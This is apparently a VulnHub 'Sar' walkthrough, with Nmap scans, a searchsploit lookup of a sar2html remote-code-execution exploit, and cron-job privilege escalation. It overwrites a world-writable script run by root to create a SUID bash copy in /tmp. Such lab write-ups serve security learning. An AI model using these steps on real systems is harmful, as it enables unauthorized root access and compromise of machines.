This box is on the easy side. It starts off with only a web server on port 80. After web enumeration we find a vulnerable service running. We exploit it to gain a shell as www-data. Then we exploit a cron job to gain a root shell.
# Nmap 7.91 scan initiated Fri Sep 24 11:04:26 2021 as: nmap -p- -oN ping_tcp 10.0.0.18 Nmap scan report for 10.0.0.18 Host is up (0.0018s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http MAC Address: 00:0C:29:56:34:62 (VMware) # Nmap done at Fri Sep 24 11:04:34 2021 -- 1 IP address (1 host up) scanned in 7.76 seconds
# Nmap 7.91 scan initiated Fri Sep 24 11:05:28 2021 as: nmap -p80 -sV -sC -oN script_tcp 10.0.0.18 Nmap scan report for 10.0.0.18 Host is up (0.00021s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works MAC Address: 00:0C:29:56:34:62 (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Sep 24 11:05:41 2021 -- 1 IP address (1 host up) scanned in 13.12 seconds
┌──(kali㉿kali)-[~/Documents/VulnHub/Sars] └─$ searchsploit sar2html ---------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------- --------------------------------- sar2html 3.2.1 - 'plot' Remote Code Execution | php/webapps/49344.py Sar2HTML 3.2.1 - Remote Command Execution | php/webapps/47204.txt ---------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ┌──(kali㉿kali)-[~/Documents/VulnHub/Sars] └─$ searchsploit -m 49344 Exploit: sar2html 3.2.1 - 'plot' Remote Code Execution URL: https://www.exploit-db.com/exploits/49344 Path: /usr/share/exploitdb/exploits/php/webapps/49344.py File Type: Python script, ASCII text executable Copied to: /home/kali/Documents/VulnHub/Sars/49344.py
www-data@sar:/var/www/html$ cat /etc/cron* cat: /etc/cron.d: Is a directory cat: /etc/cron.daily: Is a directory cat: /etc/cron.hourly: Is a directory cat: /etc/cron.monthly: Is a directory cat: /etc/cron.weekly: Is a directory # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # */5 * * * * root cd /var/www/html/ && sudo ./finally.sh
www-data@sar:/var/www/html$ cat finally.sh #!/bin/sh ./write.sh
www-data@sar:/var/www/html$ ls -la write.sh -rwxrwxrwx 1 www-data www-data 30 Oct 21 2019 write.sh www-data@sar:/var/www/html$ cat write.sh #!/bin/sh touch /tmp/gateway
www-data@sar:/var/www/html$ cat write.sh #!/bin/sh cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash
www-data@sar:/tmp$ ls -la total 1096 drwxrwxrwt 2 root root 4096 Sep 24 19:42 . drwxr-xr-x 24 root root 4096 Oct 20 2019 .. -rwsr-sr-x 1 root root 1113504 Sep 24 19:42 rootbash